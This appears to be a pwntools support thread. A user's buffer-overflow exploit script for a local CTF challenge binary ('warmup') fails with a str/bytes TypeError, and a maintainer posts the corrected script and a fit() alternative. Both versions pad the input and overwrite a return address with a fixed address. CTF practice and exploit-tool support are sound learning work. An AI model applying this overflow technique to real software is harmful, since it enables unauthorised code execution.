yup b is a elf binary file from a reversing challange. And i wil open a issue. with code and details of files..

Yup that was indeed a mistake from my side that's why at first I open a discussion. Thanks for clearing to me.

one more thing here is one problem if i can get about this that will be great...

[+] Starting local process './warmup' argv=[b'./warmup'] : pid 52534
Traceback (most recent call last):
  File "exploit.py", line 7, in <module>
    payload += p64(0x0040060d)
TypeError: can only concatenate str (not "bytes") to str

code:-

from pwn import *
context.log_level='debug'
b = process("./warmup")
payload = ''
payload += '0'*64
#payload += '0'*0x40
#payload +=  "\x0d\x06\x40"   #here it work fine.. but with p32 or p64 depending upon binary give error
payload += p64(0x0040060d)
b.sendline(payload)
print(payload)
b.recvall()
b.interactive()

when ever i am using this i am getting the same error even when i run commented value..

This is as clear as it could be this time: you cannot add bytes to a str. You need to add bytes to bytes.

from pwn import *
context.log_level='debug'
b = process("./warmup")
payload = b''
payload += b'0'*64
#payload += b'0'*0x40
#payload +=  b"\x0d\x06\x40"   #here it work fine.. but with p32 or p64 depending upon binary give error
payload += p64(0x0040060d)
b.sendline(payload)
print(payload)
b.recvall()
b.interactive()

Also, have you heard about the great fit() function?

payload = fit({
    64 + 0x40: 0x0040060d
})

and it magically pads and packs stuff around so that it just works ^TM.

This is a huge thing that many people repeatedly fail to understand: binary data is not transparently convertible back and forth to text, unless you mean encoding/decoding it. See PEP 332 for why this is a huge trap to think that they are the same.

Pwntools aims to be easy and friendly and allows not only p.sendline(b"hello"), but p.sendline("hello") as well. This is a design choice I was not a strong supporter for, since I thought it would just confuse people like you, but I agreed that it is common to just omit b by chance while typing, so it speeds up rapid exploit development, and old exploits (written for py2 only) can often be made to work with less headache.

Thanks for telling me about fit() and confusion related bytes, no one tells me about it now. I am glad i asked about it.